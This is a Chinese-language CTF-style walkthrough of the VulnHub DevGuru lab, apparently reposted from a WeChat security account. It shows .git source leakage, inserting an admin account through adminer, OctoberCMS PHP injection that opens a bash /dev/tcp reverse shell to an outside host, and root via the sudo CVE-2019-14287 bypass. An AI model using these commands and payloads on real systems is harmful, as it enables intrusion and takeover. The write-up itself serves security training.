实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

admin 2024年9月9日19:19:08评论58 views字数 2352阅读7分50秒阅读模式
 

环境搭建

靶场介绍:

该靶机难度为中级,据说和OSCP靶机类似

DevGuru 是一家虚构的 Web 开发公司,雇用您进行渗透测试评估。您的任务是查找其公司网站上的漏洞并获取 root 权限。

靶场下载地址:

https://www.vulnhub.com/entry/devguru-1,620/

搭建步骤:

    1. 可以自己在本机直接解压导入到vmware
    2. 用docker启动方法
wget https://download.vulnhub.com/devguru/devguru.ova.7zapt-get install p7zipapt install p7zip-full按照之前docker镜像启动vulnhub靶场文章转成docker可用文件docker import de.xz devguru:1.0.0docker run -itd --name daoyisec_devguru -p 8019:80 -p 33066:3306 devguru:1.0.0 /bin/bash

3. 进入docker启动访问

docker exec -it test2 /bin/bashsudo rm /var/locksudo mkdir /var/locksudo chmod 755 /var/locksudo mkdir /var/lock/apache2sudo chmod 755 /var/lock/apache2/etc/init.d/apache2 startservice mysql start

然后就可以正常访问了

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

打靶过程

靶场地址:关注本公众号并回复 靶场02 获取靶场地址

靶场开放5天后关闭,靶场制作不易,请各位不要破坏靶场环境,谢谢

信息收集

先nmap扫描全端口

nmap -p 1-65535 192.168.232.0/24

由于我这里已知开放8019和33066端口 这里不再扫描

直接访问8019端口,是一个web,里面什么功能也没有,然后扫描一下目录试试

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

这里用dirsearch扫描目录

dirsearch -u http://154.37.221.172:8019/

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

发现了/.git文件泄露和/adminer.php数据库文件还有一个后台目录:/backend/ 跳转到

http://154.37.221.172:8019/backend/backend/auth

git泄露漏洞利用

工具:GitHack

下载地址:https://github.com/lijiejie/GitHack

下载工具利用:

git clone https://github.com/lijiejie/GitHackpython3 GitHack.py http://154.37.221.172:8019/.git/

执行完会在当前目录生成一个文件夹 里面就是下载下来的源码

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

一般数据库及其他的的配置文件都会放在config目录下,看一下config目录下有哪些文件

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

可以看到有database.php文件,cat看下文件内容

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

有数据库的账号密码,再结合前面目录扫描时发现的adminer.php文件,尝试登录一下数据库

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

可以登录到adminer,然后找下存放账号密码的表,尝试获取账号密码登录前面发现的网站的后台

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

backend_users表存放的账号和密码信息,但是是加密的,先去在线解密网站尝试下解密

https://www.somd5.com/和https://www.cmd5.com/都无法解密

既然已经进到数据库了,直接添加一个账号

先用kali里自带的john工具尝试识别一下加密方式(要先把hash写到文件内)

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

得到加密方式是bcrypt

点击新建数据,插入一条数据,除了账号密码其他都跟原来的那条数据一样,防止权限组或者其他东西没写对,登录失败或者低权限看不到全部功能。

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

然后访问:http://154.37.221.172:8019/backend

账号test密码123456成功登录到后台

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

后台getshell

进到后台发现是用OctoberCMS搭建的,用kali下的searchsploit工具搜索一下有没有POC

但是查完没有可以shell的漏洞,一个XSS一个CSRF没啥用

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

用-m参数知道编号,查看完整路径

searchsploit OctoberCMS -m 42978

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

然后尝试CMS那里代码写入,只允许保持htm后缀文件

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

后面从网上找了一个方法

下面要插入code

<?php     function onStart() { echo 123; }?>

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

访问一下,没问题,代码可以执行

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

然后可以直接用PHP执行命令反弹shell

<?php     function onStart() { exec('bash -c "bash -i >& /dev/tcp/154.37.221.172/4466 0>&1"'); }?>

公网攻击机执行:

nc -lnvp 4466

然后web点击保存并访问页面触发代码

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

获取到了低权限的shell

这块正常还有一个通过Gitea的站点getshell,但是转成docker之后再启动还需要重装Gitea,这里就直接切到frank用户去提权,跳过通过Gitea拿shell再提权步骤了。

提权:

切换到frank用户提权

su frank 密码是daoyisec

先sudo -l查看一下sudo可以执行哪些命令

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

去https://gtfobins.github.io/查一下sqlite3的提权方法

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

但是失败了,然后sudo -V看下版本,版本低于1.8.27,存在CVE-2019-14287漏洞

执行

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

这里也可以用linux-exploit-suggester脚本跑一下,看看有什么漏洞可以提权

 

原文始发于微信公众号(道一安全):实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月9日19:19:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战OSCP推荐靶场devguru 从web到提权(附在线靶场环境)https://cn-sec.com/archives/3146890.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息